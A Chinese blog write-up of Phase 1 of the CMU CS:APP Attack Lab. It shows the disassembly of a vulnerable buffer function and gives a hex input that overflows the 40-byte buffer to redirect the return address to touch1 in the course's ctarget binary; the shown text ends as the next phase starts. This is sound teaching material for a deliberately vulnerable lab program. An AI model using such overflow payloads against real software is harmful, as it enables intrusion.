CSAPP-Lab03 Attack Lab 详细解析

纸上得来终觉浅,绝知此事要躬行

实验概览

Attack!,成为一名黑客不正是我小时候的梦想吗?这个实验一定会很有趣。

CMU 对本实验的官方说明文档:http://csapp.cs.cmu.edu/3e/attacklab.pdf,按照 CMU 的文档一步步往下走就可以了。

Part 1: Code Injection Attacks

在第一部分中,我们要攻击的是ctarget。利用缓冲区溢出,就是程序的栈中分配某个字符数组来保存一个字符串,而我们输入的字符串可以包含一些可执行代码的字节编码或者一个指向攻击代码的指针覆盖返回地址。那么就能直接实现直接攻击或者在执行ret指令后跳转到攻击代码。

Phase 1

分析

首先给了test函数的C语言代码:

void test()
{
   
	int val;
    val = getbuf();
    printf("No exploit. Getbuf returned 0x%x\n", val);
}

这个函数调用了getbuf函数,题目要求我们通过代码注入的方式使getbuf执行结束后不返回到test函数中,而是返回到touch1函数。

touch1的C语言代码如下:

void touch1()
{
   
	vlevel = 1; /* Part of validation protocol */
	printf("Touch1!: You called touch1()\n");
	validate(1);
	exit(0);
}

反汇编test

Dump of assembler code for function test:
   0x0000000000401968 <+0>:     sub    $0x8,%rsp
   0x000000000040196c <+4>:     mov    $0x0,%eax
   0x0000000000401971 <+9>:     callq  0x4017a8 <getbuf>
   0x0000000000401976 <+14>:    mov    %eax,%edx
   0x0000000000401978 <+16>:    mov    $0x403188,%esi
   0x000000000040197d <+21>:    mov    $0x1,%edi
   0x0000000000401982 <+26>:    mov    $0x0,%eax
   0x0000000000401987 <+31>:    callq  0x400df0 <__printf_chk@plt>
   0x000000000040198c <+36>:    add    $0x8,%rsp
   0x0000000000401990 <+40>:    retq
End of assembler dump.

第2行分配栈帧,第4行调用getbuf函数

反汇编getbuf

Dump of assembler code for function getbuf:
   0x00000000004017a8 <+0>:     sub    $0x28,%rsp
   0x00000000004017ac <+4>:     mov    %rsp,%rdi
   0x00000000004017af <+7>:     callq  0x401a40 <Gets>
   0x00000000004017b4 <+12>:    mov    $0x1,%eax
   0x00000000004017b9 <+17>:    add    $0x28,%rsp
   0x00000000004017bd <+21>:    retq
End of assembler dump.

分配了40个字节的栈帧,随后将栈顶位置作为参数调用Gets函数,读入字符串。

此时,栈帧情况是这样的:(以8个字节为单位)

在这里插入图片描述

查到touch1代码地址为:0x4017c0

由此就有了思路,我们只需要输入41个字符,前40个字节将getbuf的栈空间填满,最后一个字节将返回值覆盖为0x4017c0touch1的地址,这样,在getbuf执行retq指令后,程序就会跳转执行touch1函数。

Solution

采用Write up推荐方法,创建一个txt文档存储输入。并按照HEX2RAW工具的说明,在每个字节间用空格或回车隔开。

x86采用小端存储,要注意输入字节的顺序

我们的输入为:

00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
c0 17 40 00 00 00 00 00

执行命令:

./hex2raw < ctarget01.txt | ./ctarget -q
  • ./hex2raw < ctarget01.txt是利用hex2raw工具将我们的输入看作字节级的十六进制表示进行转化,用来生成攻击字符串
  • |表示管道,将转化后的输入文件作为ctarget的输入参数
  • 由于执行程序会默认连接 CMU 的服务器,-q表示取消这一连接

image-20220304093523423
攻击成功!

Ph

评论 3
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

Deconx

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值